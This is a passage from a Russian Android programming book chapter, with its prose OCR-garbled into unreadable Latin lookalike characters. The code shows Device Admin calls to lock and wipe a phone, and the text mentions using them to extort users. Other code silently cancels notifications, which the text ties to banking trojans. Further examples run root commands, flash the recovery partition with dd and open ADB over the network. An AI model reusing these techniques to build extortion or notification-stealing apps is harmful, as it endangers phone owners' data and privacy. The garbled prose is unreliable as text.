Bnokupyem ycTpoiicTeo U 3awmiuiaemca oT yaaneHus

[lepeiinem k APl anMuHHCTpHpOBaHHs ycTpoicTBa. Kak yxe ObUIO CKa3aHO BBILIE, 3TOT
API npenHazHayeH AJs YAAJIEHHOTO YNpaBJIeHHs 3alUTON YCTPOHCTB: YCTAHOBKH Mapo-
711, TIOJTUTHK CJIOXHOCTH Mapoiis U yAalleHHoro copoca ycrpoicTea. Mcnone3oBatek ero
He TpyaHee, 4eM cepBUc Accessibility, HO caM MPHUHIMI UCNOIB30BAHUA OTIIMYAETCA.

HCpBOC, YTO MbI OOJDKHBI CA€laTbh, — 3TO CO34aThb PECHBEDP, KOTOpl:lFl 6y,ueT BbI3BaH
MocCJI€ BKJIFOYEHHS/BBIKIIOUEHHS InpaB aAMHHUCTpATOpa. HOGaBJ’IﬂTB B PECHBEDP KaKo#i-TO
OCMBICJIEHHBIH KO/ HE 00s3aTeIbHO — rJIaBHOE, YTOOBI OH MpocTo OBLI:

class DeviceAdminPermissionReceiver : DeviceAdminReceiver () {
override fun onDisabled(aContext: Context, alntent: Intent) {

}

[anee atoT pecuBep HeobxonumMo 106aBUTH B MaHH(pecT:

<receiver
android:name=".DeviceAdminPermissionReceiver"
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android:label="@string/app name"
android:exported="true"

android:permission="android.permission.BIND DEVICE ADMIN">

<meta-data
android:name="android.app.device admin"
android:resource="@xml/admin policies" />

<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN ENABLED" />
</intent-filter>
</receiver>

OTa 3anmMch CChUIAeTCs Ha KOHQHUIypauUMOHHBIH (aln xml/admin policies.xml. Co3maem
ero U 106aBiseM cleayroLHe CTPOKH:

<device-admin>
<uses-policies>
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>

KoHurypaius ropopur, 4to Halle MPHUIOXKEHHE MOXET cOpachlBaTh H MEHATH MapoJb
9KpaHa OJIOKHpOBKHM, BBIKJIIOYaThb 3KpaH, OJOKHpys ero mapoiem, M Aenarb cOpoc
YCTPOHCTBa [0 3aBOJCKHX HaCTpPOEK.

I[Mocne Toro kak MoJsp30BaTeNb JACT pa3pellieHHe Ha MCMOJb30BaHHE MpaB agMHHHCTpa-
Topa B pa3aene Hactpoiikn — BesonacHocts — IIpHioxkeHHs agMHHHCTpaTopa
yCTPO#CTBa, Mbl MOXEM MpPOBEPUTh, NEHCTBUTENBHO JIK MBI MOJYYHIH 3TH MpaBa,
M BOCIIOJIB30BATHCSA UMH: '

// OYHKUMA IS onpelesieHWs HamMuvs Npas
fun checkAdminPermission() {

val adminComponent = ComponentName (this,
DeviceAdminPermissionReceiver::class.java)
val policyManager = getSystemService (Context.DEVICE POLICY SERVICE)
as DevicePolicyManager
return policyManager.isAdminActive (adminComponent) )

}

val policyManager = getSystemService (Context.DEVICE POLICY SERVICE)
as DevicePolicyManager
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// BnokupyeM YCTPOMCTBO U MPMHYIMTEJLHO 3anpawjBaeM MapoJib
policyManager.lockNow ()

// CGpaceBaeM YCTPOMCTBO OO 3aBONCKMX HaCTpPOEkK
policyManager.wipeData (0)

// MeHseM naposib 2kpaHa OGmoimpoBkM (He paforaeT B Android 7+)
policyManager.resetPassword ("1234", 0)

OOparuTe BHUMaHHE, YTO Mbl MOXKEM 3a0JIOKMPOBaTh YCTPOICTBO U Jaxke COPOCHTH €ro
JI0 3aBOJICKMX HAaCTpOEK, HO, HauHHas ¢ Android 7, He MOXxeEM MOMEHATB TEKYLUHMFi Maponb
Ha 3kpaHe OnokupoBku. Ecnu ObiTe Gonee TOUHBIM, TEKYLUMIA Napoibh B COBPEMEHHBIX

10:06 @ @ =0 QLHE77 % 10:06 @ @ % O CIB77%

Mpunoxenws agMuen... A @ Mpunoxexne agMUHUCTPaTOPa YCT...

AlO Launcher A X A
: admin-api-sample

Shelter

asker

admin-api-sample

Hautu ycTponcTeo

Puc. 15.6. kpaH BKNIOYEHUA NpaB agMUHUCTpaTopa
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YCTPOHCTBaX MOXET HU3MEHATh TOJIBKO MpHOXeHHe co ctatycoM device owner. EcTb
TOJBKO JBa cnocoba noay4uTh TaKoH CTaTyc:

O ycTaHOBHUTb NMPHIOXKEHHE-aAMHHUCTPATOpP Ha JEBCTBEHHO YHCTOE YCTPOHCTBO C MO-
Moo QR-koma. [lns a3toro ecte cneunaneHelii API, kotoporo Mel He Oyaem
Kacartbcs;

O Ha3Ha4yuTh npuioxeHue device owner'oM ¢ noMoubio ADB unu npas root. [ns 3Toro
HY>KHO BBITIOJIHUTb TaKylO KOMaHJy:

$ dpm set-device-owner com.example.app/.DeviceAdminPermissionReceiver

Ho naxe umes BO3MOXXHOCTb TOJIKO cOpachkiBaTh W OJOKHpOBaTh YCTPOMCTBO, MBI MO-
»KEM HamucaTh NpPUJIOXKEHHe, koTopoe OyaeT TpeOoBaTh y MOJb30BaTENs BBIKYN C yrpo-
30i YHHUTOXKEHHS BCEX JAHHBIX WIIK GJI0KHpPOBaTh YCTPOHCTBO B LHKJIE. [IpH 3TOM nonb-
30BaTeNIb HE CMOXXET MPOCTO TaK B3ATh U YAAJIMTh Hallle NMPHIOKEHHE, CHayasla y Hero
NpUaEeTCA OTO3BaTh NMpaBa aiMUHUCTpaTopa (puc. 15.6).

ﬂepexaaruaaeM U cmaxueaem ysepomneHun

MoskeT noka3arbcs, YTO NEPEXBAT YBEJAOMJIEHHH HE CTOJb YX JIaKOMbIH KyCOK IUIfl 3J10-
BPENOB, HO TOJIbKO BIYMaHTEeCh: B COBPEMEHHBIX YCTPOHCTBaX uepe3 yBEAOMJIEHHUS Mpo-
XOIUT Macca KOHQHOeHUHaNbHOH MHpopMauuu — SMS (Bkioyas ogHOpa3oBbie KOIbI
MOATBEPXKIAEHHUA), COOOLEHHS MECCEHDKEPOB, 3ar0JIOBKH MUCEM H YaCTh HX COAEPXHMO-
ro, BCEBO3MOXKHbIE CEPBHUCHBIE COOOILIEHHS.

Kak u B cnydae Accessibility API, nns nepexBara yBeAoMJIEHHI HYXEH CEpBHC, KOTO-
PBIM B KOHEYHOM HTOre OyaeT ynpaBnsaTh cama cucteMa. HanuiieM koa cepBuca:

class NLService: NotificationListenerService() {
private var connected = false

override fun onListenerConnected() {
connected = true
super .onListenerConnected ()

}

override fun onListenerDisconnected() {
connected = false
super.onListenerDisconnected ()

override fun onNotificationPosted(sbn: StatusBarNotification) {
cancelNotification (sbn.key)

override fun onNotificationRemoved(sbn: StatusBarNotification?) {
1
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CepBHC MMeeT yeTbipe OCHOBHBIX KOMIO3Ka. J[Ba BBI3bIBAIOTCA NMPH MOAKIIOYEHHH/OT-
KJIIOYEHHH cepBHCa (3TO 0OBIYHO NMPOMCXOIMT IPH 3aMyCKe M OCTAaHOBKE MPHJIOKEHHS, a
Tatoke NMpH BJIIOYEHNH M BBIKIIOYEHHH 0CTYNa K yBeaoMiIeHHAM). Ellie 1Ba HyHbI 115
06paboTkH MosBIEHUA/MCYE3HOBEHHS yBeaOMIeHHH. Hai npocTediunii cepBHC Npy 1o-
ABJICHHH YBEJIOMJIEHHS Cpa3y CMaxHBaeT €ro, a NMpH MCYE3HOBEHHH HE JeNIaeT HHYEro.
OnHako Mbl MoriM 6bl, HanpuUMep, 3aMOMHHTB 3aroJIOBOK, TEKCT, a Taloke MakeT, KOTo-
pOMY NMPHHAIEKHT YBEAOMIIEHHE:

val extras = sbn.notification.extras

val title = extras.getCharSequence (Notification.EXTRA TITLE)
val text = extras.getCharSequence(Notification.EXTRA TEXT)
val package = sbn.packageName

BaHkoBckHe TpPOsHBI OOBIYHO CMOTPAT Ha NAaKeT NMPHIIOKEHHs, cpaBHUBas ¢ 6a3oi OaH-
KOBCKHMX KJIMEHTOB, a TaKkKe pacrnapcHBAlOT 3aroJIOBOK M TEKCT COOOLUEHHsS B MOMCKax

10:08 @ @ = O CIB77% 10:08 @ @ >3O0 QCLB77%

Doctynk ysegomner... & @ B <  [foctynkysepomneH.. QA @

Hucnetyep Bawero TenedoHa .

@ Pixel Launcher admin-api-sample

admin-api-sample PaspewwuTtb gocTyn kK
yBeaoMNeHusM

=== AlO Launcher

drupe

Col Google

9 CepBsuchl NepcoHann3aumm ycTponcTs

B
®M|F|t

Puc. 15.7. OkHo BrNiOYEHUA AocTyna k yBeagomnenuam (notify.png, notify2.png)
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cneurdHUHbIX 118 coobiueHui 6aHkoB cTpok. [lanee yBenoMieHHe NPOrpaMMHO CMaxH-
Baetcs. YtoObl cepBHc 3apaboral, ero Heo6xoauMo 0OBABHTHL B MaHH(pecTe:

<service

android:name=".NLService"
android:label="@string/app name"

android:exported="false"
android:permission="android.permission.BIND NOTIFICATION LISTENER SERVICE">
<intent-filter>

<action android:name="android.service.notification.NotificationlListenerService" />
</intent-filter>

</service>

IMocne BrmoyeHus B Hactpoikax (Ilpuioxenns u yBeaomieHus — CneunaabHblii
aoctyn — JlocTyn K yBeAOMJIEHHAM) cepBHC HayHeT pabotats (puc. 15.7).

TTpasa root

[Tpouecc HanHcaHUA NPUIIOKEHHH C NMOLAEPXKKOH NMpaB root CHIBHO OTJIHYaeTcs OT Tpa-
JMLHOHHOro nporpammupoBanus 1 Android. M He moToMy, yTo HaMm npuaercs 3ajaei-
CTBOBaTb HU3KOYpOBHeBble cHCTEMHble API (x0Ts 3TO TOXe BO3MOXHO), a MOTOMY, YTO,
No CyTH, Mbl 6y1eM HMETb JEJI0 C KOHCOJIbIO U ee koMaHAaMH. [ToaToMy nepBoe, YTo Mbl
JOJDKHBI C/1eNaTh, — 3TO Hay4YMThCS 3anmyckaTb KOMaHbl 6€3 npas root.

3anyckaem KOMaHALL

3anycx BHeIHHX koMaH[ B Android BeInonHseTCS TOYHO Tak K€, KaAK U B Java, a UMEHHO
C MOMOIIBIO TaKOH CTpPOKH:

Runtime.getRuntime () .exec("komanma");

Hy unu TakoH, eciii Mbl HE XOTHM, YTOOBI MPUIIOXKEHHE YNaJlo, ecii koMaHaa He Oyaer
HaiaeHa:

try {
Runtime.getRuntime () .exec ("komanna") ;
} catch (IOException e) {
throw new RuntimeException(e);

MeTton exec() 3aMnyCKaeT e H KOMaHAy B HEM B OTACJIBHOM IOTOKE. [Tocne 3aBeplLue-
HHSA KOMAaHAbl MOTOK YHHYTOXACTCA. Bce NpOCTO H NOHATHO, TOJILKO TOJIKY HaAM OT 3TOro
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Majio — BbIBOJAa KOMaHbl Mbl BCE€ paBHO HE BUAUM. UTOOHI pPEWIUTH 3TY npoGnemy, MBI
AOJI2KHBI NMPOYHUTATH CTaHIlapTHblﬁ BBIXOOHOM MOTOK, JJIS YEro MOHaA00OUTCA MPpHUMEPHO

Takast QyHKLHA:

public String runCommand(String cmd) {
try {
// BbINOJHAEM KOMAaHMIYy
Process process = Runtime.getRuntime () .exec (cmd);

BufferedReader reader = new BufferedReader (
new InputStreamReader (process.getInputStream()));

int read;
char[] buffer = new char[4096];
StringBuffer output = new StringBuffer();

// UuraeMm BbBOX

while ((read = reader.read(buffer)) > 0) {
output.append (buffer, 0, read);

}

reader.close() ;

// DIoxunaeMmcs 3aBeplieHMs KOMaHObl ¥ BO3BpallaeM pes3yJibTaT
process.waitFor () ;
return output.toString();
} catch (IOException e) {
throw new RuntimeException (e);
} catch (InterruptedException e) {
throw new RuntimeException(e);

Teneps y Hac ecTb BOZMOXKHOCTb 3ayCKaTh KOMaH/bl H BUAETh pe3yJbTaT HX paboTbl, HO
4TO 3TO HaM jaet? Hy, kak BapHaHT, Mbl MOXKEM MPOYUTaTh HH(OPMALIHIO O NpoLeccope
(puc. 15.8). CoznaeM npocTyto OpMOYKY C OJHOH KHOMKOH CBEPXY H TextView HHXKE
Hee. Jlanee B Tesle MeTOA onCreate MHLIEM TaKOH KOA:

// Haw TextView
final TextView textView = (TextView) findViewById(R.id.textView);

// Kuorika
final Button button = (Button) findViewById(R.id.button);
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// TIpM HaXaTVMM KHOMKM. .
button.setOnClickListener (new View.OnClickListener() {
public void onClick(View v) {
// 3anyckaeM KOMaHOy M pa3MeliaeM BbBOI B TextView
String cpuinfo = runCommand ("cat /proc/cpuinfo”);
textView.setText (cpuinfo) ;

b}

Show CPU

Processor : ARMv7 Processor rev 1 (v71)
processor : 0
BogoMIPS: 38.40

processor : 1
BogoMIPS: 38.40

processor : 2
BogoMIPS: 38.40

processor : 3 [
BogoMIPS: 38.40 [

Features : swp half thumb fastmult vfp edsp neon
vfpv3 tls vfpv4 idiva idivt vfpd32

CPU implementer : 0x51

CPU architecture: 7

CPU variant: 0x2

CPU part : 0x06f

CPU revision: 1

Hardware : Qualcomm MSM8974PR0O-AC
Revision: 0000
Serial :0000000000000000

Puc. 15.8. Co6creenHbii CPU-Z B aBE CTPOKM

Peay.rlb"ra"r, KaK TrOBOpPHTCA, HaJHLO. TO'-IHCG, Ha JKpaH. BmecTto komaHAapl cat /proc/
cpuinfo MOXXHO HCIOJIb30BaTh H YTO-TO NMO3K30THYHEE, HAIIPHUMEP cat /system/build.prop
Ui IMpocMoTpa cbai‘ma CHCTEMHBIX HAaCTPOEK. OnHako Tak Mbl 1aJIEKO He yYE€aA€EM, CHCTEMA
He NacT HaM clejaTh YTO-TO CEPLE3HEEC, YEM UTECHHE HEKOTOPLIX cbai‘mon HJIK 3anyCK
MNPpOCTBIX KOMaHA.

TTony4yaem npaea cynepnonbiosarens

Kak s yxe cka3zan, ¢pyHKLHOHAIBHOCTh root-NMPHJIOKEHHI NMOCTPOEHa Ha TOM, 4YTOOBI 3a-
NMyckaTb KOMaHIbl OT MMEHH MOJIb30BaTeNs root, T.e. cynepnonb3oBarens. B UNIX-
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cucreMax, koei Android sBnseTcs Ha caMOM HH3KOM YpPOBHE, 3Ta OnepaLus BbIMOJHIET-
Csl C MOMOLIbIO KOMaH/bl su. [10 yMONYaHHIO OHa MPOCTO OTKPBHIBAET LLUEJUT C MpaBaMH
root, HO C MOMOLLBIO ¢rara -c MpaBaMH root MOXKHO HaAeauTh obylo komMaHay. Hanpu-
Mep, YTOOBbI BBIMOJIHUTH KOMaH/y id C MpaBaMH root, JOCTaTOYHO TaKO# CTPOKH:

Java e ey ik

runCommand ("su -c id");

KomaHpa id, kcTaTti roBops, BO3BpallaeT HAEHTH(HKATOpP TEKYIUEro mnosb30BaTess
(0 = root), Tak YTO cpa3y MOXHO MPOBEPHUTh, Kak Bce paboTaeT. OHAKO Takoil MeToa
3anycka UMeeT HEKOTopble MpobieMbl ¢ mapcHHrom. Eciy Mbl ykakeM JOMONTHUTENbHbIE
apryMeHTbl (HanpuMep, su -c uname -a), KOMaHja MpocTo He oTpaboraer. O60HTH orpa-
HUYEHHE MOXKHO, NepeJaB ee Kak MaccHB cTpok. [lns yno6cTBa HeMHOro MoaupHLHpYeM
KOJ MeToJa runCommand, 3AMEHHB B HEM MEPBYIO CTPOKY:

e . Sl i

public String runSuCommand(String cmd) {

Process process = Runtime.getRuntime () .exec(new String[]{"su", "-c", cmd});

Bce, TENEPb C €ro NOMOUbIO MOXXHO 3alMyCKaTb XOTb HECKOJIBKO KOMaHA OAHOBPEMEHHO,
BC€ C MpaBaMH root:

runSuCommand ("id; uname -a; cat /proc/cpuinfo”);

B cymHocTH, 3TO BCe, 1 MOXKHO NMEPEXOAUTh K MPHUMepaM, HO €CTh elle OJMH HIOaHC:
cMapT(oH MOXKET ObITh HE PYTOBaH. DTOT MOMEHT HEOOXOAMMO 0053aTeNIbHO YYUTHIBATh
¥ MpoBepATh Hanuyue npas root. Haubonee npocroii u 3¢ dekTHBHBIN cnocod nposep-
KH — 3TO NMPOCTO MOCMOTPETh, €CTh JIM OMHApPHHUK su B cucTeMe. OObIYHO OH pacrnonara-
€TCs B KaTajlore /system/bin/ WJHM /system/xbin/ (B OONBIIMHCTBE Cly4aeB), MOITOMY
MPOCTO HaNMHLIEM TaKyto (YHKLHIO:

[,"jéva : J

private boolean checkSu() f{

String[] places = {"/system/bin/", "/system/xbin/"};
for (String where : places) ({
if (new File(where + "su").exists()) {
return true;
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return false;

OGBACHATB TYT 0c060 Hevero: ecTb su— true, HeT — false (puc. 15.9).

A 3alULLEHHBIA PeXXUuM

MNpunoxenue «Test» NbiTaetcs
nonyuuTb Npaea
Cynepnonb3osaTens.

[J 3anomuums paspewetivie

OTK/IOHUTb = PA3PELUIMTL

Puc. 15.9. CranpapTHoe okHo 3anpoca npae root 8 CyanogenMod

Heckonbko npumepos

B Mapkere nonHo pa3zHoo6pa3HbiX root-npuiaoxeHdi. 3to ¥ codrt ans 3amycka ADB
B CETEBOM PEXXHME, U MPUIIOKEHHS U1l YCTAHOBKH recovery WM saep, U codT 01s nepe-
3arpy3kH HanpsMyto B recovery. Ceiyac s mokaxy, HaCKOJIbKO Ha CaMOM JeJi€ CJIOXKHBI
3TH npwioxeHua. Utak, nepsbiii THI cogTa: NMpUIOKEHHE U1 Nepe3arpy3ky B recovery.
B kacTOMHBIX MpPOLIWBKAX 3TO WITaTHas (yHKLUHMA, focTynHas B Power Menu, Ho B cTo-
KOBBIX TMpPOIUMBKAX [UIA 3TOr0 MPHXOOHMTCA HCIONB30BaTh CreLHanbHbid codt. Bee
cnoxHo? OTHIONB:

runSuCommand ("reboot recovery");
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Bonee cnoxHblii npuMep — MPOUIMBKA KACTOMHOH KOHCOJM BOCCTAHOBJIEHHS NPSIMO U3
Android. B xoge 3To BBIMIAONUT Tak:

String recoverylmage = "/sdcard/recovery.img";
String recoveryPartition = "/dev/block/platform/msm sdcc.l/by-name/recovery";

runSuCommand ("dd if=" + recoveryImage + " of=" + recoveryPartition);

CTOHMT OTMETHTB, YTO 3TO MpUMep s unnoB Qualcomm, B ycTpoiicTBax Ha 6a3e Apyrux
SoC nyTe n0 pa3nena recovery 6yaer apyruM. Keratu, npoBepHTh, Kakoi YHI HCIIONB3Y-
eTcs B AeBafice, MOXXHO C MOMOILBIO BCE TOTO XK€ /proc/cpuinfo:

String cpuinfo = runCommand("cat /proc/cpuinfo");

if (cpuinfo.contains("Qualcomm")) {

// VMeeM neno C Qualcomm, OTJMUHO, MPONOJIKAEM
} else {

// Ipyron SoC

Hnem nanvuie, Ha ouepenu npunoxenus B ctuie Wi-Fi ADB (3to peansHoe Ha3zBaHHe).
B MapkeTe TakuX NOJNHO, 4 BCE OHH BBIMIAAAT OAMHAKOBO: 3KpaH C OJHOH KHOMNKOM uist
BKJIFOYEHHS/BBIKITIOUEHHS pexkuMa otiaaku no cetd (ADB over Wi-Fi). @yHkuus oueHs
ynoOHasi, a MOTOMyY TPHIOXKEHHs MOJB3YIOTCS MOMynspHOCThIO. Kak peann3oBats TO xe
camoe? OyeHb NMpocTo:

runSuCommand ("setprop service.adb.tcp.port 5555; stop adbd; start adbd");

Bce, Teneps cepep ADB Ha cmapTdoHe paboTaeT B CETEBOM peXXHME, U K HEMY MOXHO
NOAKIIOYUTBECS C MOMOILBIO KOMaH/BI adb connect IP-ampec. [l OTK/IIOYEHHUS CETEBOTO
pexHMa MCIONb3yeM TaKOH KOI:

runSuCommand ("setprop service.adb.tcp.port -1; stop adbd; start adbd");

Hy u B 3aBeplieHHe MOroBOPUM O HacTpoilIMKax sapa. Takux B MapkeTe JOCTaTOYHO
MHOro, oquH U3 Haubonee nomynspHbix — TricksterMod. OH no3BosnseT U3MEHATD alro-
pPUTM 3HeprocOepexeHus Anpa, BrmouaTh/Bhikmouyate ADB over Wi-Fi, HacTpauBaTh
NOICHCTEMY BHPTyalbHOH NaMATH W MHoroe apyroe. [louTH Bce 3TH onepauuu
TricksterMod (1 apyro#i cxoxuii codT) BEINONHAET MyTEM 3allUCH ONpEAeNeHHbIX 3Ha-
YeHHH B CHHTETHUYECKHE (aiibl B KaTaorax /proc M /sys.
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PeanusoBate ¢yHkuuu TricksterMod He coctaBuT Tpyna. K npumepy, Ham Hajo Hamu-
caTh KO, HM3MEHAIOWIHI anroput™ 3HeprocOepexeHus npoueccopa (goveror). s
BBITIOJIHEHHA 3TOM oOnepauMH cieqyeT 3amucaTh MM HYXXHOro airoputma B ¢aiin
/sys/devices/system/cpu/cpu0/cpufreq/scaling governor, OOQHAaKO JIA Hayajla HY>XHO BbI-
ACHHTb, KaKHe aJIrOpuTMBbI noaaepxuBaeT aapo. OHH nepeuMciieHbl B Apyrom daiine,
MO3TOMY Mbl HaMHLUEM MPOCTYIO PYHKLHMIO 1)1 €r0 YTEHHS:

ea—— —

i java

gk 8 |

private String[] getGovs() {
return runCommand ("cat
/sys/devices/system/cpu/cpul/cpufreq/scaling_available governors").split(" ");

}

HMes criucok noaaep)KMBaeMbIX airOPUTMOB, Mbl MOXKEM BbIOpAaTh ONHMH U3 HUX MyTEM
3anuc B aiin scaling governor. Jns yno6cTsa 6yneM HCronb30BaTh Takylo QYHKLHIO:

o

private boolean changeGov(String gov) {

runSuCommand ("echo " + gov + " >
/sys/devices/system/cpu/cpul/cpufreq/scaling_governor");

String newgov = runCommand ("cat
/sys/devices/system/cpu/cpul/cpufreq/scaling_governor");

if (newgov == gov) {
return true;

}

return false;

IMocne 3anucH 3Ha4YEHUA Mbl BHOBb YMTaeM ¢aiis, 4ToObl y1OCTOBEPUTHCA, YTO AAPO ACH- .
CTBHMTEJILHO MEPEKTIOYHIIOCH Ha YKa3aHHBIA anropuTt™. Jlanee MoxHO co3aatb GOpMOUKY
C KHOMOYKAMH M MEHIO M NMOBECHTh Ha HMX HaWH ¢yHKUMH. EcTb M MHOXECTBO Apyrux
¢aiinos 11s TOHKOH HacCTpOHKH anropuTMa 3Heprocoepexenus (puc. 15.10).

shel IEGABBBL :/ $ s
et [ root root
ront

Puc. 15.10. EcTb n mHOXecTBO Apyrux annos ANA TOHKOA HACTPONKM anropuTMa aHeprocoepexeHus
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CTOopoHHUe 6ubnuotexu

[TpuBeneHHbIH Bbillle cnocod BBIMOJIHEHHS KOMaHI C MpaBaMH root OoTJAMYHO paboraer,
HO UMeeT HeOonblIOH HemocTaTok. J[eno B TOM, YTO 3ampoc MpaB CyMeprnosib30oBaTess
OyzneT MpoMCXOAHTb BO BpeMs KaXJ0ro UCMoJIHEHHs YHKLHH RunSuCommand (), @ 3TO 3Ha-
YUT, YTO €CJIK 103ep He MOCTaBHMT rasouky Bojbllle He cnpamHBaTh B OKHE 3anpoca
npas root, OH ObICTPO YCTaHET OT TaKHX 3aMpOCOB.

Pewnts npobnemy MOXHO OAMH pa3, OTKpBIB root-wiesnn. Jlanblue BBIMOMHATH BCe
KOMaHbl y>ke B HeM. B GonblUMHCTBE ciyyaeB Takol METO[ 3amycka W30bITOuEH, T. K.
00OBIYHO HaM HEOOXOIUMO BBIMOIHHTH TOJIBKO OJIHY-/ABE€ KOMaH/Ibl, KOTOPbIE MOXXHO 00b-
€AMHUTb B OIHY CcTpoky. Ho oH Oyner none3eH mnpu pa3paboTke CIOXHBIX root-
NMPHIOKEHHH BpoJe KOMIUIEKCHBIX HACTPOMLIMKOB S1pa W MPOCTO KOMOaHHOB.

Peanuzauus ynoGHoH B MConb30BaHHH 00EPTKH U1 3amycka root-1uesia JOCTyMnmHa Kak
MHHHUMYM B Tpex 6ubnuorekax.

O RootTools (https://github.com/Stericson/RootTools) ot Stricson, pa3paboTunka HH-
crayatopa Busybox nns Android;

O libsuperuser (https://github.com/Chainfire/libsuperuser) ot nereHnapHoro Chainfire;

O libsu (https://github.com/topjohnwu/libsu) ot pazpabotunka Magisk.

PacwupeHue gyHKUMOHANBHOCTU

JnHamuueckoe pacludpeHHe GpyHKLHOHAIbHOCTH — CTaHAapTHas MpaKTHKa NMpH paspa-
6oTke 370BpenoB. JIHHAMHUYECKOE pacliMpeHHe MOXKHO MCMOJIb30BaTh KaK Ui CKPBITHS
3710BpeAHOH (YHKLIMOHATIBHOCTH MPHUJIOXKEHHs (Korja 4acTH MaiBapd JOKauMBalOTCH M3
CEeTH Y>Ke Mocjie YCTAHOBKH OCHOBHOTO MPUWIOXKEHHA), TaK M [UIS MOAKIIOUEHHS HOBBIX
¢dbyHkuui. B cnenyrommx IByx noapaszienax Mbl pacCCMOTPHM, KakK pa3aesuTh OJHO MpH-
JIO)KEHHE Ha HECKOJIbKO (apXHMTEKTYypa IJIarMHOB) M KaK 3arpy3uTh JOMOJHHTENbHBIN KOA
B yKe paboTaroliee NpHIIOKEHHE.

TTnaruHe:

Panee s yxe ynoMuHan, uto ¢ nomouusto Binder B Android peanu3oBaH He Tonbko 0OMeH
COOOILEHHAMH, HO W BbI30B GYHKLUHMH. DakTHYECKH KaXKIblil pa3, Koraa Koj BbI3bIBaeT
onpeneneHHblH cucteMHbli API unu dpyHkuuo apyroro npunoxxenus, Android Ha camom
aene nocbutaeT coodbuieHne. OTBETHBIM COOOILIEHHEM Kak pa3 M OydeT Bo3BpallaeMoe
¢dyHKLMel 3HaueHHe.

JlonycTHM, y Hac ecTb HeKOe MpPUJIOXKEHHE, s KOTOPOro Mbl XOTHM peain30BaTh Moj-
JepxKky miardHoB. Kaapli miardH Jo/bkeH ObITh MOJHOLEHHBIM MPHIOXKEHHEM s
Android. «PoauTenbckoe» MpUIOKEHHE TOHKHO YMETh CaMO HaXOJUThb YCTaHOBJIEHHbIE
niaaruHbl U 100aBNSTh UX B CMHUCOK. YUHWThIBas CKa3aHHOE, HAM HEOOXOIHWMO BHECTH
B KOJI MPHJIOXKEHHS ClIeAyIoLIHe H3MEHEHHS:
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1. Onpenenurs API, c noMoleio koToporo npunoxeHHe 6yaer odbLaTeCs ¢ rlaruHaMy.

2. PeanuzoBaTh MeXaHHM3M IMOMCKA IJIarHHOB H BECTH MX «YyUET».

API

Camblit ynoOHBIH M MPOCTOH crnocob peanH3alyH IMJIarHHOB — B BHUJE CEPBHCOB, 3alyc-
KaeMbIx Mo 3anpocy. Hawe npunoxeHue OyneT HaXOOWTh YCTaHOBJIEHHbIE B CHCTEME
NPUJIOXKEHHUS-TUTATUHBI, B HYXKHbIE MOMEHTBHI 3aMyCKaTh PEaIM30BaHHBIE B HUX CEPBUCHI U
BbI3bIBaTh UX (pyHKUMH. [IpH 3TOM cepBHCcHl OyayT 3amylueHbl TOJMBKO TOrJa, KOrja OHH
JEHCTBUTENBHO HYXKHBI, @ CHCTeMa cama Nno3aboTUTcs 06 MX 3aBEpLIEHHH H MEHEIKMEH-
Te pecypcoB. UIMeHHO Tak, kcTaTH, paboraer cucreMa nuaruHoB Bumkera DashClock u
MHOTHX JIpYTHX MPHIOKEHHH.

Jns Hayana HaM HeoOxoauMo co3aate onucanue API (uHTepdeiica) ¢ kaxa0# U3 CTOPOH
(npunoxxeHus W muaruHoB) ¢ momouiblo f3bika AIDL (Android Interface Definition
Language). Jlna Hawero npuMepa co3faauM NpocToi HHTepdefic, onpenensouui ase
(YHKUHH: run() M nameName ():

package com.example.plugin

interface IPlugin {
// BozBpamaeTr uMs [UlaTMHa
String getName () ;
// 3anyckaeT ryiaTMH M BO3BpallaeT pes3ysbTaT PadoTh
String run(int seconds);

Co3spaiite ¢aiin 1plugin.aidl ¢ momousio komanq New — AIDL -— AIDL file u nomec-
THTE B HEro 3TH cTpokH. 3ateM BbinoaHuTe Build — Make Project, uto6sl Android
Studio npeo6pa3zoan AIDL B 06b14HBbIH KOA Ha Java.

TTpocteiAwuis nnarvH

Tenepr peanusyeM cam miardH. J[ns 3TOro cosgaeM HOBBIH MPOEKT (MyCTh €ro HMs
Oyner com.example.pluginl), o6aBaseM B Hero ¢aii Iplugin.aidl (0OpaTuTe BHUMaHHeE,
4YTO OH [JOJDKEH TOYHO COBMAJaTh C aHAJIOTHYHBIM (PadioM M3 Mpeaplayllero pasnesna)
U daiin Plugin.java CO CJIEAYIOLUIUM COOEP>KUMBIM:

public class Plugin extends Service {
@Override
public void onCreate() {
super.onCreate () ;
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@Override
public IBinder onBind(Intent intent) {
return mBinder;

private final IPlugin.Stub mBinder = new IPlugin.Stub() {
public String getName () {
return "ExamplePlugin";

public String run(int seconds) {
try {
Thread.sleep(seconds * 1000);
} catch (Exception e) ({}
return "pluginl done";

370 npocTeHluni mIarkH, KOTopbld NMpocTo 3achinaer npu 3anycke. HanGonee BaxcHas
€ro 4acTb — 3TO METOJ onBind, KOTOpPBIH BO3BpalLaeT 0ObEKT Kiacca Binder, pealu3ylo-
WK uHTepdeHc IPlugin, B MOMEHT MOAKIIOYEHHsS K cepBHCY. J[pyrMMu cioBamu, npu
NOAK/IIOYEHHH K TUIarMHy Halle MpHIOKEHHE MOJYYHT OOBEKT, C MOMOILBIO KOTOPOro
CMOJKET BbI3bIBATh ONpe/EIeHHbIE B MIariHe GyHKUHMH getName () M run() .

TTouck nnaruHos

Tenepr He0OXOAMMO peaH30BaTh CHCTEMY MOHCKA YCTAHOBJIEHHbIX MuardHoB. [lpoiue
(¥ mpaBUJIbHEE) BCEro C/eNaTh 3TO C MOMOLLbIO OMHCAHHBIX paHee HHTEHTOB. [l 3Toro
CHayana BHeceM H3MeHeHHs B (ais Manifest NiarMHa, A00aBHB B HEro cieayoouine
CTPOKH (B pazaen application):

’ xml

<service android:name=".Plugin"
android:exported="true">
<intent-filter>
<action android:name="com.example.action.PLUGIN" />
</intent-filter>

</service>

JlaHHbIE CTPOKH rOBOPAT O TOM, 4TO cepBHC Plugin momkeH ObITh OTKPBIT ANs AOCTYyna
M3BHE H «OTBEYATb» Ha HMHTEHT com.example.action.PLUGIN, OJHAKO HaM 3TOT HHTEHT
HY>K€H BOBCE He JIs 3TOro, a Ajs TOro, 4ToObl HAlTH MJIarMH B CHCTEME CpPeaH COTEH
YCTaHOBJIEHHBIX MPHIIOKEHHIA.
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CaM MexaHHU3M TOHCKa TUIarHHOB peaju3oBaTb AOBOJIBHO MPOCTO. ,Hﬂﬂ 3TOro A0CTaTo4YHO
obpatutbes k PackageManager ¢ nmpocb0oi BEpHYTh CITUCOK BCEX TMPUIOKEHHH, OTBe-
